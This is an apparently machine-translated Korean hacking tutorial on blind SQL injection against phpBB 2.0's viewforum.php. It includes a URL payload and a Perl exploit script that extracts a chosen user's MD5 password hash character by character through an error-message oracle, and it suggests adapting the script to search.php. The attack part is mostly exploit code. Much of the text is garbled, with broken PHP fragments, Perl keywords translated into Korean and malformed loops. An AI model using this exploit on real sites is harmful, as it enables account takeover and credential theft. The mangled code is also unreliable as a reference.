asp 주입은 이미 다들 잘 아실 거라 생각합니다만, php 주입은 asp 주입보다 어렵습니다. php의 Magic_gpc 옵션이 정말 골치아프기 때문입니다. 주입에 따옴표를 사용하지 마세요. php는 대부분 mysql과 결합되어 있으며, 다른 사람의 관점에서 보면 mysql의 기능적 단점은 어느 정도 SQL 주입 공격을 방지합니다. 여기서는 phpbb2.0을 예로 들어 보겠습니다.
viewforum에서 .php에는 변수가 필터링되지 않습니다.
if ( isset($HTTP_GET_VARS
$forum_id = ( isset($HTTP_GET_VARS< pOST_FORUM_URL]) ) ? intval($HTTP_GET_VARS
($HTTP_POST_VARS
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '
}
이 포럼은 쿼리 입력:
{
$sql = "SELECT *
FROM "
WHERE forum_id = $ forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, '포럼 정보를 얻을 수 없습니다.', ', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
asp라면 많이 믿습니다 forum_id로 지정된 포럼이 존재하지 않으면 $result는 비어 있고 "포럼 정보를 얻을 수 없습니다"라는 메시지가 반환되므로 다음 코드를 실행할 수 없습니다.
//
// 쿼리가 어떤 행도 반환하지 않으면 유효한 포럼이 아닙니다.
// 사용자에게
//
if ( !($forum_row = $db->sql_fetchrow( $result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
//
// 세션 관리 시작
//
$ userdata = session_pagestart($ user_ip, $forum_id) /****************************************** *
여기에는 session_pagestart($user_ip, $thispage_id) 함수가 있습니다. 코드가 너무
이기 때문입니다. 길어서 불완전합니다. 관심이 있으시면 살펴보실 수 있습니다. 중요한 점은 이 함수가 session_begin()도 호출한다는 것입니다. session_begin($user_id, $user_ip,
$thispage_id, TRUE)), 이 파일에 정의되어 있으며 다음 코드가 포함되어 있습니다
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time , session_time = $current_time, session_page =
$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query( $sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip))
$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,
session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, '새 세션 생성 중 오류 발생: session_begin', ', __LINE__, __FILE__,
$sql)
}
여기에 session_page가 정의되어 있습니다. mysql은 정수, his??$page_id, 즉 $forum_id입니다. 삽입된 값이 정수가 아닌 경우 오류가 보고되고 Error
creating new session: session_begin 메시지가 나타납니다. , $forum_id 값을 명시하는 것이 매우 중요하므로 :-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1, 1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57, 따옴표 없음! 존재하지 않는 forum_id를 지정했지만 반환된 쿼리 결과가 반드시 비어 있는 것은 아니며, 이는 user_id가 2인 사용자의 첫 번째 비밀번호의 ASCII 코드 값이 57인지 추측하기 위함입니다. 그렇다면 $result 기사의 첫 번째 코드가 비어 있지 않으므로 session_pagestart가 실행됩니다. 물론 해당 함수가 정수를 삽입하지 않으면 오류가 발생하므로 Error Creating new session: session_begin이 표시됩니다. 이는 첫 번째를 추측했다는 의미입니다. 비트가 정확하고 다른 비트도 비슷합니다.
이런 오류 메시지가 없으면 주입이 성공하더라도 성공 여부를 판단하기 어려울 것으로 생각됩니다. 오류 메시지도 테스트 코드에 대한 분석을 마치는 데 도움이 될 것 같습니다. 이 코드는 약간만 수정하면 됩니다. md5 비밀번호를 추측하는 다른 유사한 상황에도 적용할 수 있습니다. 여기서는 반환 조건의 영어 버전을 사용합니다. 🎜>
HTTP::Request::Common 사용;
HTTP::Response 사용
LWP::UserAgent 사용
$ua = new LWP::UserAgent; print " ************ ***********n";
print " phpbb viewforum.php expn"
print " code by pinkeyes";
인쇄 " www.icehack.comn";
인쇄 "************************n"
인쇄 "제발" 약한 파일의 URL을 입력하세요:n";
print " 예: http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=
chomp($adr);
print "크랙하려는 user_id를 입력하세요";
$u=
chomp($u)
print "작업 시작 중입니다. 잠시만 기다려주세요!n";
@pink=(48..57);
@pink=(@pink,97..102)
for($j=1;$j<=32;$j++); 🎜>($i=0;$i<@pink ;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1 ,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u% 20and%20ord(substring(user_password,$j,1)) =$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request) ;
if ($response->is_success) {
if ($response->content =~ /새 세션 생성 중 오류 발생/ ) {
$pwd.=chr($pink[ $i]);
인쇄 "$pwdn";
}
}
}
}
if ($pwd ne ""){
print " 성공, 비밀번호는 $pwd,good luckn";}
else{
print "bad luck,work failed!n";}
최근 phpbb2.0.6의 search.php의 경우 해당 문제를 악용하려면 위의 코드를 약간만 수정하면 됩니다